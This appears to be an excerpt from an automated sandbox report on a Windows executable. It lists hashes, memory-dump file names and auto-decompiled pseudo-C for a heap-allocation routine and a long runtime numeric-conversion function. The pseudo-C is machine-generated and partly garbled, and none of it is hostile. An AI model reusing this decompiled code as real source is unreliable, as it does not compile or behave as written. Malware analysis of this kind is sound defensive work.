Instruction Fuzzy Hash: C911F876A00F159CEB50DFB0E8801DC37B8FB1839CB90062AEA4C22B58EF34C1A5C391

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E374003C Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E00007FF77FF7E374003C(void* __eax, signed int __rcx, signed int __rdx) {
				void* __rbx;
				intOrPtr* _t22;
				signed int _t29;

				_t29 = __rdx;
				if (__rcx == 0) goto 0xe374005b;
				_t1 = _t29 - 0x20; // -32
				_t22 = _t1;
				if (_t22 - __rdx < 0) goto 0xe374009e;
				_t25 =  ==  ? _t22 : __rcx * __rdx;
				goto 0xe3740082;
				if (E00007FF77FF7E373F794() == 0) goto 0xe374009e;
				if (E00007FF77FF7E3745318(_t22,  ==  ? _t22 : __rcx * __rdx,  ==  ? _t22 : __rcx * __rdx) == 0) goto 0xe374009e;
				RtlAllocateHeap(??, ??, ??); // executed
				if (_t22 == 0) goto 0xe374006d;
				goto 0xe37400ab;
				E00007FF77FF7E3740720(_t22);
				 *_t22 = 0xc;
				return 0;
			}

0x7ff7e374003c
0x7ff7e374004b
0x7ff7e374004f
0x7ff7e374004f
0x7ff7e3740059
0x7ff7e3740067
0x7ff7e374006b
0x7ff7e3740074
0x7ff7e3740080
0x7ff7e3740091
0x7ff7e374009a
0x7ff7e374009c
0x7ff7e374009e
0x7ff7e37400a3
0x7ff7e37400b0

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF7E3742014,?,?,?,00007FF7E3740729,?,?,?,?,00007FF7E373E7EB), ref: 00007FF7E3740091

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: faf7bbd53acb6bc5610b928dd2612aefc9652e686c8ab6353b277822ae761d28
Instruction ID: 3abbf3b26765c587df64c40a989bc0eaaabe7da49b022485120fd8398c1b7fb3
Opcode Fuzzy Hash: faf7bbd53acb6bc5610b928dd2612aefc9652e686c8ab6353b277822ae761d28
Instruction Fuzzy Hash: C0F04974B0920B81FED4766155D03B6FA915F8DB90FC85476C80EA66A2ED7CBCA04632

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF7E37472C0 Relevance: 24.1, APIs: 9, Strings: 4, Instructions: 1310
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E00007FF77FF7E37472C0(signed int __ecx, signed int __edx, void* __esp, signed long long __rcx, signed int* __r8, signed int __r9, signed int __r10, signed long long __r11) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* _t529;
				void* _t548;
				void* _t556;
				void* _t588;
				signed long long _t593;
				intOrPtr _t600;
				void* _t607;
				void* _t624;
				signed int _t631;
				signed long long _t636;
				intOrPtr _t643;
				void* _t650;
				void* _t667;
				signed int _t674;
				void* _t685;
				void* _t701;
				void* _t703;
				signed int _t704;
				signed int _t705;
				intOrPtr _t710;
				signed long long _t714;
				signed int _t719;
				signed char _t720;
				signed long long _t744;
				signed int _t757;
				intOrPtr _t767;
				signed int _t768;
				signed long long _t774;
				signed long long _t780;
				signed long long _t785;
				intOrPtr _t810;
				signed long long _t823;
				void* _t825;
				unsigned int _t828;
				signed long long _t838;
				void* _t839;
				signed long long _t842;
				void* _t843;
				intOrPtr _t844;
				signed int _t845;
				signed int _t857;
				signed int _t859;
				signed int _t860;
				void* _t866;
				void* _t872;
				void* _t906;
				void* _t912;
				signed long long _t1034;
				signed long long _t1044;
				void* _t1046;
				signed long long _t1048;
				signed long long _t1049;
				signed long long _t1054;
				signed long long _t1055;
				signed long long _t1056;
				signed long long _t1059;
				void* _t1066;
				intOrPtr* _t1067;
				signed long long _t1073;
				void* _t1075;
				void* _t1076;
				signed long long _t1083;
				signed long long _t1087;
				signed long long _t1088;
				signed long long _t1097;
				signed long long _t1101;
				void* _t1113;
				signed long long _t1122;
				signed long long _t1123;
				void* _t1124;
				signed long long _t1130;
				long long _t1145;
				signed long long _t1155;
				void* _t1156;
				signed long long _t1161;
				void* _t1163;
				signed long long _t1164;
				signed long long _t1165;
				char* _t1169;
				void* _t1170;
				void* _t1171;
				signed long long _t1172;
				signed long long _t1177;
				signed long long _t1178;
				signed long long _t1179;
				signed long long _t1188;
				signed long long _t1191;
				signed long long _t1192;
				signed long long _t1201;
				signed long long _t1204;
				signed long long _t1205;
				signed long long _t1218;
				signed long long _t1223;
				signed long long _t1226;
				signed long long _t1228;
				signed long long _t1229;
				void* _t1231;
				unsigned long long _t1239;
				unsigned long long _t1240;

				_t1229 = __r11;
				_t1223 = __r9;
				_t861 = __esp;
				_t1170 = _t1171 - 0x6d8;
				_t1172 = _t1171 - 0x7d8;
				_t1034 =  *0xe3764018; // 0xf7df8d81ad38
				 *(_t1170 + 0x6c0) = _t1034 ^ _t1172;
				 *(_t1172 + 0x38) = __rcx;
				 *((long long*)(_t1172 + 0x50)) = __r9;
				 *((long long*)(_t1172 + 0x70)) = __r8;
				E00007FF77FF7E374920C(_t1172 + 0x60);
				r13d = 0;
				if (( *(_t1172 + 0x60) & 0x0000001f) != 0x1f) goto 0xe3747323;
				 *((intOrPtr*)(_t1172 + 0x68)) = r13b;
				goto 0xe3747332;
				E00007FF77FF7E3749278(( *(_t1172 + 0x60) & 0x0000001f) - 0x1f, _t1172 + 0x60);
				 *((char*)(_t1172 + 0x68)) = 1;
				_t1048 =  *(_t1172 + 0x38);
				__r8[2] = __r9;
				asm("sbb ecx, ecx");
				_t719 = (__ecx & 0x0000000d) + 0x20;
				 *__r8 = _t719;
				if ((0x00000000 & _t1048) != 0) goto 0xe37473a2;
				if ((0xffffffff & _t1048) != 0) goto 0xe37473a2;
				__r8[1] = r13d;
				if (E00007FF77FF7E373FF84(0, __r9,  *((intOrPtr*)(_t1170 + 0x740)), 0xe375239c) == 0) goto 0xe374858e;
				goto 0xe37485c2;
				_t1073 = _t1172 + 0x38;
				_t529 = E00007FF77FF7E374213C(_t1073);
				_t866 = _t529;
				if (_t866 == 0) goto 0xe37473b8;
				__r8[1] = 1;
				if (_t866 == 0) goto 0xe3748570;
				if (_t866 == 0) goto 0xe3748551;
				if (_t866 == 0) goto 0xe3748532;
				if (_t529 - 0xffffffffffffffff == 1) goto 0xe3748513;
				r9d = 0x7ff;
				_t1049 = _t1048 & 0xffffffff;
				 *(_t1172 + 0x38) = _t1049;
				asm("movsd xmm0, [esp+0x38]");
				asm("movsd [esp+0x58], xmm0");
				_t1122 =  *((intOrPtr*)(_t1172 + 0x58));
				 *((intOrPtr*)(_t1172 + 0x4c)) = __edx + 1;
				_t1177 = _t1122 >> 0x34;
				_t720 = _t719 & 0xffffff00 | (__r9 & _t1177) == 0x00000000;
				asm("dec ebp");
				_t1123 = _t1122 & 0xffffffff;
				_t1239 = ( !__r9 & 0x00000000) + _t1123;
				asm("sbb eax, eax");
				r8d = r8d & r9d;
				_t703 = _t1177 - 0x434 +  ~( ~_t720) + 1;
				E00007FF77FF7E37492C8(E00007FF77FF7E3749390( ~( ~_t720) + 1, 0), _t1177);
				asm("cvttsd2si ecx, xmm0");
				 *(_t1170 - 0x7c) = r14d;
				r10d = 1;
				asm("inc ebp");
				_t1240 = _t1239 >> 0x20;
				r12d = r12d &  ~_t720;
				 *(_t1170 - 0x78) = r14d;
				 *(_t1172 + 0x30) = r12d;
				asm("sbb edx, edx");
				_t774 =  ~__edx + r10d;
				 *(_t1170 - 0x80) = _t774;
				if (_t703 < 0) goto 0xe374773f;
				 *(_t1170 + 0x328) = 0x100000;
				 *((intOrPtr*)(_t1170 + 0x324)) = 0;
				 *(_t1170 + 0x320) = 0x10000000000002;
				if (_t774 != 0x10000000000002) goto 0xe374761a;
				r8d = r13d;
				if ( *((intOrPtr*)(_t1170 + 0x324 + _t1073 * 4)) !=  *((intOrPtr*)(_t1170 + _t1073 * 4 - 0x7c))) goto 0xe374761a;
				r8d = r8d + r10d;
				_t872 = r8d - 0x10000000000002;
				if (_t872 != 0) goto 0xe37474bc;
				r11d = _t1049 + 2;
				 *(_t1172 + 0x38) = r13d;
				r9d = r11d;
				r11d = r11d & 0x0000001f;
				r9d = r9d >> 5;
				_t704 = _t703 - r10d;
				asm("inc ecx");
				r12d = _t704;
				r12d =  !r12d;
				if (_t872 == 0) goto 0xe374750c;
				goto 0xe374750f;
				_t548 = _t1223 + 2;
				r15b = r11d - 0x20 - r13d > 0;
				r8b = _t548 - 0x73 > 0;
				if (_t548 != 0x73) goto 0xe3747530;
				if (r15b != 0) goto 0xe3747533;
				r13d = r13d | 0xffffffff;
				if (r8b != 0) goto 0xe37475e1;
				if (r13b != 0) goto 0xe37475e1;
				r14d = 0x72;
				r14d =  <  ? _t548 : r14d;
				if (r14d == r13d) goto 0xe37475b6;
				r8d = r14d;
				r8d = r8d - r9d;
				_t823 = _t1177 + _t1223;
				if (_t823 - r9d < 0) goto 0xe37475b0;
				if (r8d - _t774 >= 0) goto 0xe3747575;
				r10d =  *(_t1170 + _t1177 * 4 - 0x7c);
				goto 0xe3747578;
				r10d = 0;
				_t51 = _t1177 - 1; // 0x14488b068b48ff32
				if (_t51 - _t774 >= 0) goto 0xe3747586;
				goto 0xe3747588;
				r8d = r8d + r13d;
				r10d = r10d & _t704;
				r10d = r10d << r11d;
				 *(_t1170 + _t1161 * 4 - 0x7c) = (0 & r12d) >> 0x00000020 | r10d;
				if (_t1177 + _t1223 == r13d) goto 0xe37475b0;
				_t780 =  *(_t1170 - 0x80);
				goto 0xe3747560;
				r10d = 1;
				r13d = 0;
				if (r9d == 0) goto 0xe37475d0;
				 *(_t1170 + 0x3fffffffffff84) = r13d;
				if (r13d + r10d != r9d) goto 0xe37475c1;
				_t63 = _t1240 + 1; // 0x14488b068b48ff34
				r14d =  !=  ? _t63 : r14d;
				 *(_t1170 - 0x80) = r14d;
				goto 0xe37475eb;
				r13d = 0;
				r14d = r13d;
				 *(_t1170 - 0x80) = r13d;
				 *((intOrPtr*)(_t1170 + 0x154)) = 4;
				r12d =  *(_t1172 + 0x30);
				r15d = 1;
				 *(_t1170 + 0x150) = r15d;
				 *(_t1170 + 0x320) = r15d;
				 *(_t1170 + 0x328) = r13d;
				goto 0xe374798e;
				 *(_t1172 + 0x38) =  *(_t1172 + 0x38) & 0x00000000;
				r11d = (__r10 << 0x20) + 1;
				r9d = r11d;
				r11d = r11d & 0x0000001f;
				r9d = r9d >> 5;
				r15d = _t823;
				r15d = r15d - r11d;
				_t705 = _t704 - r10d;
				asm("bsr eax, [ebp+eax*4-0x7c]");
				r13d = _t705;
				r13d =  !r13d;
				if (r15b == 0) goto 0xe3747656;
				goto 0xe3747658;
				_t556 = _t1123 + _t1223;
				r12b = r11d - _t823 > 0;
				r8b = _t556 - 0x73 > 0;
				if (_t556 != 0x73) goto 0xe374767b;
				if (r12b == 0) goto 0xe374767b;
				goto 0xe374767d;
				r10d = r10d | 0xffffffff;
				if (r8b != 0) goto 0xe374772a;
				if (0 != 0) goto 0xe374772a;
				r14d = 0x72;
				r14d =  <  ? _t556 : r14d;
				if (r14d == r10d) goto 0xe3747700;
				r8d = r14d;
				r8d = r8d - r9d;
				_t825 = _t1177 + _t1223;
				if (_t825 - r9d < 0) goto 0xe3747700;
				if (r8d - _t780 >= 0) goto 0xe37476bf;
				r10d =  *(_t1170 + _t1177 * 4 - 0x7c);
				goto 0xe37476c2;
				r10d = 0;
				_t80 = _t1177 - 1; // 0x14488b068b48ff32
				if (_t80 - _t780 >= 0) goto 0xe37476d0;
				goto 0xe37476d2;
				r10d = r10d & _t705;
				r10d = r10d << 0;
				r10d = r10d | (0 & r13d) >> 0;
				 *(_t1170 + _t1161 * 4 - 0x7c) = r10d;
				r10d = r10d | 0xffffffff;
				r8d = r8d + r10d;
				if (_t1177 + _t1223 == r10d) goto 0xe3747700;
				_t785 =  *(_t1170 - 0x80);
				goto 0xe37476aa;
				r13d = 0;
				if (r9d == 0) goto 0xe3747719;
				 *(_t1170 + 0x3fffffffffff84) = r13d;
				if (r13d + 1 != r9d) goto 0xe374770b;
				_t92 = _t1240 + 1; // 0x14488b068b48ff34
				r14d =  !=  ? _t92 : r14d;
				 *(_t1170 - 0x80) = r14d;
				goto 0xe3747734;
				r13d = 0;
				r14d = r13d;
				 *(_t1170 - 0x80) = r13d;
				 *((intOrPtr*)(_t1170 + 0x154)) = 0x20 - r11d;
				goto 0xe37475f5;
				if (_t705 == 0xfffffc02) goto 0xe3747877;
				 *(_t1170 + 0x328) = 0x100000;
				 *((intOrPtr*)(_t1170 + 0x324)) = 0;
				 *(_t1170 + 0x320) = 0x10000000000002;
				if (_t785 != 0x10000000000002) goto 0xe3747877;
				r8d = r13d;
				if ( *((intOrPtr*)(_t1170 + 0x324 + _t1073 * 4)) !=  *((intOrPtr*)(_t1170 + _t1073 * 4 - 0x7c))) goto 0xe3747877;
				r8d = r8d + r10d;
				_t906 = r8d - 0x10000000000002;
				if (_t906 != 0) goto 0xe3747771;
				asm("inc ecx");
				 *(_t1172 + 0x38) = r13d;
				if (_t906 == 0) goto 0xe374779c;
				goto 0xe374779f;
				r9b = _t825 - r13d - 0x10000000000002 > 0;
				r13d = r13d | 0xffffffff;
				if (0x10000000000002 - _t785 >= 0) goto 0xe37477ba;
				r8d =  *(_t1170 + 0x3fffffffffff84);
				goto 0xe37477bd;
				r8d = 0;
				_t110 = _t1073 - 1; // 0x1
				if (_t110 - _t785 >= 0) goto 0xe37477ca;
				goto 0xe37477cc;
				 *(_t1170 + 0x3fffffffffff84) = 0 >> 0x0000001e ^ r8d << 0x00000002;
				if (0x10000000000002 + r13d == r13d) goto 0xe37477ea;
				goto 0xe37477ad;
				r9b =  ~r9b;
				asm("inc ebp");
				r14d =  ~r14d;
				r14d = r14d + 0x10000000000002;
				 *(_t1170 - 0x80) = r14d;
				_t828 = 0x10000000000002 - _t705 >> 5;
				_t1054 = __r10 << r15d << 2;
				_t1178 = _t1054;
				E00007FF77FF7E373B860(0x10000000000002 + r13d, 0, _t828, __esp, _t1170 + 0x324, _t1123, _t1161, _t1178);
				_t120 = _t1161 + 1; // 0x3
				r15d = _t120;
				r8d = r15d;
				_t1179 = _t1178 << 2;
				 *(_t1170 + _t1054 + 0x324) = 1 << sil;
				r13d = 0;
				 *(_t1170 + 0x150) = r15d;
				 *(_t1170 + 0x320) = r15d;
				if (_t1179 == 0) goto 0xe374798e;
				_t1075 = _t1170 + 0x154;
				_t912 = _t1179 - _t1054;
				if (_t912 > 0) goto 0xe374796d;
				_t1124 = _t1170 + 0x324;
				E00007FF77FF7E373BC10(sil, _t828, 0x10000000000002 - _t705 & 0x0000001f, __esp, _t1075, _t1124, _t1161, _t1164, _t1179);
				goto 0xe3747987;
				_t127 = _t1124 - 1; // 0x0
				 *(_t1172 + 0x38) = r13d;
				asm("bsr eax, [ebp+eax*4-0x7c]");
				if (_t912 == 0) goto 0xe374788c;
				goto 0xe374788f;
				r9b = _t828 - r13d - r10d > 0;
				if (0 != 0x73) goto 0xe37478ab;
				if (r9b != 0) goto 0xe37478ae;
				r13d = r13d | 0xffffffff;
				if ((_t127 & 0xffffff00 | 0 - 0x00000073 > 0x00000000) != 0) goto 0xe374791e;
				if (r13b != 0) goto 0xe374791e;
				r14d = 0x72;
				r14d =  <  ? 0 : r14d;
				if (r14d == r13d) goto 0xe374790a;
				_t744 = r14d;
				if (_t744 >= 0) goto 0xe37478dc;
				r8d =  *(_t1170 + 0x3fffffffffff84);
				goto 0xe37478df;
				r8d = 0;
				_t134 = _t1075 - 1; // 0x14488b068b48ff32
				if (_t134 >= 0) goto 0xe37478ec;
				goto 0xe37478ee;
				 *(_t1170 + 0x3fffffffffff84) = 0 >> 0x0000001f ^ _t1179 + _t1179;
				if (_t744 + r13d == r13d) goto 0xe374790a;
				goto 0xe37478cf;
				r13d = 0;
				_t143 = _t1240 + 1; // 0x14488b068b48ff34
				r14d =  !=  ? _t143 : r14d;
				 *(_t1170 - 0x80) = r14d;
				goto 0xe3747928;
				r13d = 0;
				r14d = r13d;
				 *(_t1170 - 0x80) = r13d;
				_t1076 = _t1170 + 0x324;
				_t1055 = _t1054 << 2;
				E00007FF77FF7E373B860(_t744 + r13d, 0, r10d - 0x1cc, __esp, _t1076, _t1124, _t1161, _t1055);
				_t147 = _t1164 + 1; // 0x14488b068b48ff34
				r15d = _t147;
				r8d = r15d;
				 *(_t1170 + _t1055 + 0x324) = 1 << dil;
				goto 0xe374783a;
				E00007FF77FF7E373B860(dil, 0, r10d - 0x000001cc & 0x0000001f, __esp, _t1076, _t1124, _t1161, _t1055);
				_t588 = E00007FF77FF7E3740720(0);
				 *0 = 0x22;
				E00007FF77FF7E3740600(_t588);
				r15d =  *(_t1170 + 0x150);
				if (r12d < 0) goto 0xe3747e5a;
				_t593 = 0xcccccccd * r12d >> 0x20 >> 3;
				 *(_t1172 + 0x48) = _t593;
				r12d = _t593;
				 *(_t1172 + 0x40) = _t593;
				if (_t593 == 0) goto 0xe3747d91;
				r13d = r12d;
				r13d =  >  ? 0x26 : r13d;
				 *(_t1172 + 0x44) = r13d;
				_t1056 = _t1055 << 2;
				 *(_t1170 + 0x320) = _t1164 + _t1076;
				E00007FF77FF7E373B860( *0x407FF7E37522E2 & 0x000000ff, 0, _t1231 - 1, __esp, _t1170 + 0x324, 0x7ff7e3710000, _t1161, _t1056);
				_t1165 = _t1164 << 2;
				E00007FF77FF7E373BC10( *0x407FF7E37522E2 & 0x000000ff, _t1231 - 1,  *0x407FF7E37522E3 & 0x000000ff, __esp, _t1170 + 0x324 + _t1056, 0x407ff7e37519d0, _t1161, _t1165, _t1165);
				r11d =  *(_t1170 + 0x320);
				if (r11d - 1 > 0) goto 0xe3747aeb;
				_t600 =  *((intOrPtr*)(_t1170 + 0x324));
				if (_t600 != 0) goto 0xe3747a62;
				r15d = 0;
				 *(_t1170 + 0x150) = r15d;
				goto 0xe3747d6b;
				if (_t600 == 1) goto 0xe3747d6b;
				if (r15d == 0) goto 0xe3747d6b;
				r8d = 0;
				r9d = 0;
				r9d = r9d + 1;
				if (r9d != r15d) goto 0xe3747a7d;
				if (r8d == 0) goto 0xe3747adf;
				if ( *(_t1170 + 0x150) - 0x73 >= 0) goto 0xe3747ace;
				 *(_t1170 + 0x40000000000154) = r8d;
				r15d =  *(_t1170 + 0x150);
				r15d = r15d + 1;
				goto 0xe3747a56;
				r15d = 0;
				 *(_t1170 + 0x150) = r15d;
				goto 0xe3747d6d;
				r15d =  *(_t1170 + 0x150);
				goto 0xe3747d6b;
				if (r15d - 1 > 0) goto 0xe3747ba2;
				_t710 =  *((intOrPtr*)(_t1170 + 0x154));
				_t1188 = _t1229 << 2;
				r15d = r11d;
				 *(_t1170 + 0x150) = r11d;
				if (_t1188 == 0) goto 0xe3747b51;
				_t1083 = _t1170 + 0x154;
				if (_t1188 - 0 > 0) goto 0xe3747b30;
				E00007FF77FF7E373BC10( *((intOrPtr*)(_t1170 + 0x154 + _t1223 * 4)), _t1231 - 1,  *0x407FF7E37522E3 & 0x000000ff, _t861, _t1083, _t1170 + 0x324, _t1161, _t1165, _t1188);
				goto 0xe3747b4a;
				E00007FF77FF7E373B860( *((intOrPtr*)(_t1170 + 0x154 + _t1223 * 4)), 0, _t1231 - 1, _t861, _t1083, _t1170 + 0x324, _t1161, 0);
				_t607 = E00007FF77FF7E3740720(0);
				 *0 = 0x22;
				E00007FF77FF7E3740600(_t607);
				r15d =  *(_t1170 + 0x150);
				if (_t710 == 0) goto 0xe3747a53;
				if (_t710 == 1) goto 0xe3747d6b;
				if (r15d == 0) goto 0xe3747d6b;
				r8d = 0;
				_t1226 = _t1056;
				r9d = 0;
				_t1191 = _t1083 * _t1226 + 0 >> 0x20;
				r9d = r9d + 1;
				if (r9d != r15d) goto 0xe3747b74;
				goto 0xe3747aa6;
				r12d = r15d;
				_t1233 =  ==  ? _t1170 + 0x154 : _t1170 + 0x324;
				r12d =  !=  ? r11d : r12d;
				r11d =  !=  ? r15d : r11d;
				_t1087 = _t1170 + 0x324;
				_t1130 =  ==  ? _t1087 : _t1170 + 0x154;
				r15d = 0;
				r10d = 0;
				 *(_t1172 + 0x38) = _t1130;
				 *(_t1170 + 0x4f0) = r15d;
				if (r12d == 0) goto 0xe3747d0e;
				_t857 =  *(( ==  ? _t1170 + 0x154 : _t1170 + 0x324) + _t1226 * 4);
				if (_t857 != 0) goto 0xe3747c21;
				if (r10d != r15d) goto 0xe3747d02;
				 *(_t1170 + 0x4f4 + _t1226 * 4) =  *(_t1170 + 0x4f4 + _t1226 * 4) & _t857;
				_t221 = _t1226 + 1; // 0x1
				r15d = _t221;
				 *(_t1170 + 0x4f0) = r15d;
				goto 0xe3747d02;
				r9d = r10d;
				if (r11d == 0) goto 0xe3747cf3;
				if (r9d == 0x73) goto 0xe3747ca1;
				if (r9d != r15d) goto 0xe3747c5a;
				_t223 = _t1226 + 1; // 0x1
				 *(_t1170 + 0x400000000004f4) =  *(_t1170 + 0x400000000004f4) & 0x00000000;
				 *(_t1170 + 0x4f0) = _t223 + _t1161 + _t1223;
				r8d = r9d;
				r9d = r9d + 1;
				 *((intOrPtr*)(_t1170 + 0x4f4 + _t1191 * 4)) =  *((intOrPtr*)(_t1130 + 0x40000000000000));
				r15d =  *(_t1170 + 0x4f0);
				if (_t1161 + _t1223 == r11d) goto 0xe3747ca1;
				goto 0xe3747c34;
				if (0 == 0) goto 0xe3747cf3;
				if (r9d == 0x73) goto 0xe3747e2d;
				if (r9d != r15d) goto 0xe3747cc9;
				 *(_t1170 + 0x400000000004f4) =  *(_t1170 + 0x400000000004f4) & 0x00000000;
				_t250 = _t1223 + 1; // 0x1
				 *(_t1170 + 0x4f0) = _t250;
				r9d = r9d + 1;
				 *((intOrPtr*)(_t1170 + 0x4f4 + _t1087 * 4)) = 0;
				r15d =  *(_t1170 + 0x4f0);
				if (0 != 0) goto 0xe3747ca5;
				if (r9d == 0x73) goto 0xe3747e2d;
				r10d = r10d + 1;
				if (r10d != r12d) goto 0xe3747bf4;
				r8d = r15d;
				_t1192 = _t1191 << 2;
				 *(_t1170 + 0x150) = r15d;
				if (_t1192 == 0) goto 0xe3747d61;
				_t1088 = _t1170 + 0x154;
				if (_t1192 - 0 > 0) goto 0xe3747d40;
				E00007FF77FF7E373BC10(r9d,  ~r10d, _t857, _t861, _t1088, _t1170 + 0x4f4, _t1161, _t1165, _t1192);
				goto 0xe3747d5a;
				E00007FF77FF7E373B860(r9d, 0,  ~r10d, _t861, _t1088, _t1170 + 0x4f4, _t1161, 0);
				_t624 = E00007FF77FF7E3740720(0);
				 *0 = 0x22;
				E00007FF77FF7E3740600(_t624);
				r15d =  *(_t1170 + 0x150);
				r12d =  *(_t1172 + 0x40);
				r13d =  *(_t1172 + 0x44);
				if (1 == 0) goto 0xe3747e2d;
				r12d = r12d - r13d;
				 *(_t1172 + 0x40) = r12d;
				if (1 != 0) goto 0xe37479be;
				r13d = 0;
				if (1 == 0) goto 0xe37482c3;
				_t631 =  *0x407FF7E3752378;
				if (_t631 == 0) goto 0xe3747e3f;
				if (_t631 == 1) goto 0xe37482c3;
				if (r15d == 0) goto 0xe37482c3;
				r8d = r13d;
				r9d = r13d;
				r10d = _t631;
				r9d = r9d + 1;
				if (r9d != r15d) goto 0xe3747dd1;
				if (r8d == 0) goto 0xe3747e4e;
				if ( *(_t1170 + 0x150) - 0x73 >= 0) goto 0xe3747e3f;
				 *(_t1170 + 0x40000000000154) = r8d;
				r15d =  *(_t1170 + 0x150);
				r15d = r15d + 1;
				 *(_t1170 + 0x150) = r15d;
				goto 0xe37482c3;
				r13d = 0;
				r15d = r13d;
				 *(_t1170 + 0x150) = r13d;
				goto 0xe37482bf;
				r15d = r13d;
				 *(_t1170 + 0x150) = r13d;
				goto 0xe37482c3;
				r15d =  *(_t1170 + 0x150);
				goto 0xe37482c3;
				_t757 =  ~r12d;
				 *(_t1172 + 0x44) = _t757;
				_t636 =  *(_t1170 + 0x150) * _t757 >> 0x20 >> 3;
				 *(_t1172 + 0x38) = _t636;
				r12d = _t636;
				 *(_t1172 + 0x40) = _t636;
				if (_t636 == 0) goto 0xe374821b;
				r13d = r12d;
				r13d =  >  ? 0x26 : r13d;
				 *(_t1172 + 0x48) = r13d;
				_t1059 = _t1130 * _t1165 + 0x20000000000000 >> 0x20 << 2;
				 *(_t1170 + 0x320) = _t1165 + _t1088 * _t1226 + 0;
				E00007FF77FF7E373B860( *0x407FF7E37522E2 & 0x000000ff, 0, ( ==  ? _t1170 + 0x154 : _t1170 + 0x324) - 1, _t861, _t1170 + 0x324, 0x7ff7e3710000, _t1161, _t1059);
				E00007FF77FF7E373BC10( *0x407FF7E37522E2 & 0x000000ff, ( ==  ? _t1170 + 0x154 : _t1170 + 0x324) - 1,  *0x407FF7E37522E3 & 0x000000ff, _t861, _t1170 + 0x324 + _t1059, 0x407ff7e37519d0, _t1161, _t1165 << 2, _t1165 << 2);
				_t838 =  *(_t1170 + 0x320);
				if (_t838 - 1 > 0) goto 0xe3747f94;
				_t643 =  *((intOrPtr*)(_t1170 + 0x324));
				if (_t643 != 0) goto 0xe3747f23;
				r14d = 0;
				 *(_t1170 - 0x80) = r14d;
				goto 0xe37481f1;
				if (_t643 == 1) goto 0xe37481f1;
				if (r14d == 0) goto 0xe37481f1;
				r8d = 0;
				r9d = 0;
				r9d = r9d + 1;
				if (r9d != r14d) goto 0xe3747f3e;
				if (r8d == 0) goto 0xe3747f8b;
				if ( *(_t1170 - 0x80) - 0x73 >= 0) goto 0xe3747f7d;
				 *(_t1170 + 0x3fffffffffff84) = r8d;
				r14d =  *(_t1170 - 0x80);
				r14d = r14d + 1;
				goto 0xe3747f1a;
				r14d = 0;
				 *(_t1170 - 0x80) = r14d;
				goto 0xe37481f3;
				r14d =  *(_t1170 - 0x80);
				goto 0xe37481f1;
				if (r14d - 1 > 0) goto 0xe3748038;
				_t714 =  *(_t1170 - 0x7c);
				_t1201 = _t1161 << 2;
				r14d = _t838;
				 *(_t1170 - 0x80) = _t838;
				if (_t1201 == 0) goto 0xe3747fed;
				_t1097 = _t1170 - 0x7c;
				if (_t1201 - 0 > 0) goto 0xe3747fcf;
				E00007FF77FF7E373BC10( *((intOrPtr*)(_t1170 + _t1223 * 4 - 0x7c)), _t838,  *0x407FF7E37522E3 & 0x000000ff, _t861, _t1097, _t1170 + 0x324, _t1161, _t1165 << 2, _t1201);
				goto 0xe3747fe9;
				E00007FF77FF7E373B860( *((intOrPtr*)(_t1170 + _t1223 * 4 - 0x7c)), 0, _t838, _t861, _t1097, _t1170 + 0x324, _t1161, 0);
				_t650 = E00007FF77FF7E3740720(0);
				 *0 = 0x22;
				E00007FF77FF7E3740600(_t650);
				r14d =  *(_t1170 - 0x80);
				if (_t714 == 0) goto 0xe3747f17;
				if (_t714 == 1) goto 0xe37481f1;
				if (r14d == 0) goto 0xe37481f1;
				r8d = 0;
				_t1228 = _t1059;
				r9d = 0;
				_t1204 = _t1097 * _t1228 + 0 >> 0x20;
				r9d = r9d + 1;
				if (r9d != r14d) goto 0xe3748010;
				goto 0xe3747f61;
				r12d = r14d;
				_t1235 =  ==  ? _t1170 - 0x7c : _t1170 + 0x324;
				r12d =  !=  ? _t838 : r12d;
				_t839 =  !=  ? r14d : _t838;
				_t1101 = _t1170 + 0x324;
				_t1145 =  ==  ? _t1101 : _t1170 - 0x7c;
				r14d = 0;
				r10d = 0;
				 *((long long*)(_t1172 + 0x58)) = _t1145;
				 *(_t1170 + 0x4f0) = r14d;
				if (r12d == 0) goto 0xe374819d;
				_t859 =  *(( ==  ? _t1170 - 0x7c : _t1170 + 0x324) + _t1228 * 4);
				if (_t859 != 0) goto 0xe37480b1;
				if (r10d != r14d) goto 0xe3748191;
				 *(_t1170 + 0x4f4 + _t1228 * 4) =  *(_t1170 + 0x4f4 + _t1228 * 4) & _t859;
				_t363 = _t1228 + 1; // 0x1
				r14d = _t363;
				 *(_t1170 + 0x4f0) = r14d;
				goto 0xe3748191;
				r9d = r10d;
				if (_t839 == 0) goto 0xe3748182;
				r11d = r10d;
				r11d =  ~r11d;
				if (r9d == 0x73) goto 0xe3748130;
				if (r9d != r14d) goto 0xe37480ea;
				_t365 = _t1223 + 1; // 0x1
				 *(_t1170 + 0x400000000004f4) =  *(_t1170 + 0x400000000004f4) & 0x00000000;
				 *(_t1170 + 0x4f0) = _t365 + _t1228 + _t1229;
				r8d = r9d;
				r9d = r9d + 1;
				 *((intOrPtr*)(_t1170 + 0x4f4 + _t1204 * 4)) =  *((intOrPtr*)(_t1145 + 0x40000000000000));
				r14d =  *(_t1170 + 0x4f0);
